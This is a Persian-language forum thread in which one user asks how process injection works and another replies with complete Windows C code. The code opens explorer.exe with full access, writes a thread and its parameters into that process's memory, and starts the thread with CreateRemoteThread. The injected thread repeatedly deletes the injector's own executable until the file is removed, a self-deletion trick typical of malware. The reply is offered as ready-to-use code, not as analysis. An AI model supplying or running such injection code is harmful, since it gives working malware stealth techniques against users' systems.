امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
سوال در مورد Process Injection
نویسنده پیام
armin_b00ter آفلاین
كاربر تک ستاره
*

ارسال‌ها: 26
موضوع‌ها: 7
تاریخ عضویت: فروردین ۱۳۸۴

تشکرها : 0
( 1 تشکر در 1 ارسال )
ارسال: #1
سوال در مورد Process Injection
با سلام به همه دوستان .
راستش من مي خواستم پروسس اينجكشن ياد بگيرم .
يه سري تاپيك ها رو ديدم ولي جواب گو نبودن.

من وقتي تو سورسايه اينجكشن نگاه ميكنم
اكثريت دو تا كار ميكنن :
1- يه تايپ دارن كه توش يه flag هست كه به اون يه مقداري ميدن .
2 - يه متغير يا تايپ ساده

بعد براي هر كدوم از اينا با VirtualAllocEx يه فضا اختصاص ميدن و بعد با WriteProcessMemory اين ها رو تو پروسه تزريق مي كنن و بعد با تابع Sendmessage يه مسيجي ( كه نمي دونم چيه رو ) به پروسه ارسال ميكنن و اگه قراره چيزي از پروسه دريافت كنن با ReadProcessMemory اون تايپ دوم ( در بالا با شماره ي 2 ذكر شده ) رو دريافت مي كنن .

حالا سواله من اينه كه اولا ساختار اين تايپ ها چين و ثانيا اين ميسيجي كه به پروسه ارسال ميشه چه كاري انجام ميده ؟؟

اگرم كسي ميدونه چه جوري با اينجكشن اطلاعات متغير هاي يك پروسه رو استخراج كرد لطفا توضيح بده .

مرسي كه توجه كردين و جوابمو ميدين :wink:
۰۷-آذر-۱۳۸۴, ۲۳:۵۴:۵۱
ارسال‌ها
پاسخ
veyskarami غایب
مدیر بازنشسته
*****

ارسال‌ها: 861
موضوع‌ها: 82
تاریخ عضویت: مرداد ۱۳۸۴

تشکرها : 477
( 2479 تشکر در 611 ارسال )
ارسال: #2
 
ببين اين كد به دردت مي خوره يا نه

کد:
#pragma comment(lib,"Shlwapi.lib")
#pragma comment(lib,"ADVAPI32.LIB")

#include <stdio.h>
#include <windows.h>
#include <Shlwapi.h>
#include <tlhelp32.h>

#define INJECT_EXE  "explorer.exe"

typedef struct _RPar
        {
        DWORD dwDeleteFile;
        DWORD dwSleep;
        char Filename[1024];
        } RPar;

DWORD __stdcall ThreadProc(RPar *Para)
      {
      FARPROC PDeleteFile = (FARPROC)Para->dwDeleteFile;
      FARPROC PSleep = (FARPROC)Para->dwSleep;

      while(PDeleteFile(Para->Filename) == 0) {PSleep(1000);}
      return 0;
      }

int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
    {
    DWORD dwThreadId,pID=0,dwThreadSize=2048;
    void *pRemoteThread;
    char ExeFile[1024];
    HANDLE hProcess,hSnap;
    HINSTANCE hKernel;
    RPar my_RPar,*pmy_RPar;

    PROCESSENTRY32 pe32 = {0};

    if( (hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE )
        return 3;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    Process32First(hSnap, &pe32);
    do {
      if ( StrCmpNI(INJECT_EXE,pe32.szExeFile,strlen(INJECT_EXE)) == 0)
          {
          pID=pe32.th32ProcessID;
          break;
          }
      } while (Process32Next(hSnap,&pe32));

    if ( hSnap != INVALID_HANDLE_VALUE )
    CloseHandle(hSnap);
    hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
    pRemoteThread = VirtualAllocEx(hProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hProcess, pRemoteThread, &ThreadProc, dwThreadSize,0);


    ZeroMemory(&my_RPar,sizeof(RPar));
    hKernel = LoadLibrary( "kernel32.dll");
    my_RPar.dwDeleteFile = (DWORD)GetProcAddress(hKernel, "DeleteFileA");
    my_RPar.dwSleep = (DWORD)GetProcAddress(hKernel, "Sleep");
    GetModuleFileName(NULL,ExeFile,1024);
    strcpy(my_RPar.Filename, ExeFile);
    
    pmy_RPar =(RPar *)VirtualAllocEx (hProcess ,0,sizeof(RPar),MEM_COMMIT,PAGE_READWRITE);
    WriteProcessMemory(hProcess ,pmy_RPar,&my_RPar,sizeof my_RPar,0);
    
    CreateRemoteThread(hProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pmy_RPar,0,&dwThreadId);
    
    FreeLibrary(hKernel);
    CloseHandle(hProcess);
    return 0;
    }

۰۸-آذر-۱۳۸۴, ۱۳:۵۶:۲۰
وب سایت ارسال‌ها
پاسخ


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  سوال در مورد ماژول وینساک gachboy 5 4,476 ۲۲-بهمن-۱۳۹۲, ۱۷:۴۳:۵۲
آخرین ارسال: gachboy
  سوال در مورد بدست آوردن سورس Hacker_2010 7 6,056 ۰۵-مرداد-۱۳۹۲, ۰۰:۵۴:۵۰
آخرین ارسال: babyy
  [سوال] یک سوال در مورد بانک اطلاعاتی ترانسپورتر 10 7,734 ۳۱-تير-۱۳۹۲, ۲۰:۱۲:۰۹
آخرین ارسال: Ghoghnus
  سوال در مورد کنترل Webbrowser Cr4ShD4Y 2 3,011 ۱۶-تير-۱۳۹۲, ۱۱:۴۱:۰۹
آخرین ارسال: kimiafars
  سوال در مورد کریستال ریپورت؟؟ ahp_online 1 3,018 ۲۵-خرداد-۱۳۹۲, ۱۰:۰۷:۱۷
آخرین ارسال: Ghoghnus
Sad سوال در مورد ارسال پی ام در یاهو مسنجر blackhacking21 6 5,269 ۱۷-فروردین-۱۳۹۲, ۱۰:۵۰:۵۱
آخرین ارسال: lord_viper
  [سوال] یک سوال ساده در مورد هندل thinkdiff 1 2,838 ۱۴-فروردین-۱۳۹۲, ۱۳:۱۶:۲۸
آخرین ارسال: Di Di
  مخفی شدن برنامه هم از زبانه ی Process و هم از زبانه ی Application RAMA2009 11 10,651 ۰۷-اردیبهشت-۱۳۹۱, ۰۳:۵۶:۰۹
آخرین ارسال: jalil_m
  unable to terminate process RAMA2009 1 1,657 ۲۱-اسفند-۱۳۹۰, ۰۹:۳۰:۱۳
آخرین ارسال: lord_viper
  سوال در مورد درگ ایتم های لیست ویو sevdaboy 1 2,635 ۲۳-بهمن-۱۳۹۰, ۱۳:۳۰:۳۴
آخرین ارسال: Di Di

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 2 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS